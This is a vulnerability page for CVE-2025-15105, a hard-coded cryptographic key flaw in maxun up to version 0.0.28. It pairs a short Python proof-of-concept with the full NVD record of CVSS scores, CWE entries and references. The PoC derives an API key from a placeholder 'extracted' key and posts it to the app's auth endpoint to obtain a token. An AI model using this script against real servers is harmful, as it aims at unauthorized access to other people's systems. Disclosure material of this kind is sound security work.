CVE-2025-15105

import requests import hashlib import json # CVE-2025-15105 PoC - Hard-coded Cryptographic Key Exploitation # Target: getmaxun maxun <= 0.0.28 # Hard-coded key extracted from source code HARDCODED_KEY = "your-extracted-key-here" def exploit_cve_2025_15105(target_url): """ Exploit for CVE-2025-15105: Use of Hard-coded Cryptographic Key This PoC demonstrates how an attacker can exploit the hard-coded cryptographic key to gain unauthorized access to the maxun API. Steps: 1. Extract the hard-coded key from source code 2. Construct a request with the hard-coded key 3. Bypass authentication checks """ # Construct malicious api_key using hard-coded key malicious_api_key = generate_api_key(HARDCODED_KEY) # Send request to auth endpoint endpoint = f"{target_url}/api/auth/verify" headers = { "Content-Type": "application/json", "X-Api-Key": malicious_api_key } payload = { "api_key": malicious_api_key, "action": "authenticate" } try: response = requests.post(endpoint, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: token = response.json().get("token") print(f"[+] Successfully bypassed auth with token: {token}") return token except Exception as e: print(f"[-] Error: {e}") return None def generate_api_key(key): """Generate API key using the hard-coded cryptographic key""" return hashlib.sha256(key.encode()).hexdigest() if __name__ == "__main__": target = "http://target-server:3000" exploit_cve_2025_15105(target)

{"cve": {"id": "CVE-2025-15105", "sourceIdentifier": "[email protected]", "published": "2025-12-27T09:15:40.220", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in getmaxun maxun up to 0.0.28. Impacted is an unknown function of the file /getmaxun/maxun/blob/develop/server/src/routes/auth.ts. Performing manipulation of the argument api_key results in use of hard-coded cryptographic key\r . Remote exploitation of the attack is possible. The attack is considered to have high complexity. The exploitability is considered difficult. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:maxun:maxun:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.0.28", "matchCriteriaId": "C23A8E28-1C4B-48BA-A58F-C570F2C9E8D7"}]}]}], "references": [{"url": "https://gist.github.com/H2u8s/40be31987e52fc81076b6bfcfbdf3cd6", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.338476", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.338476", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.710256", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}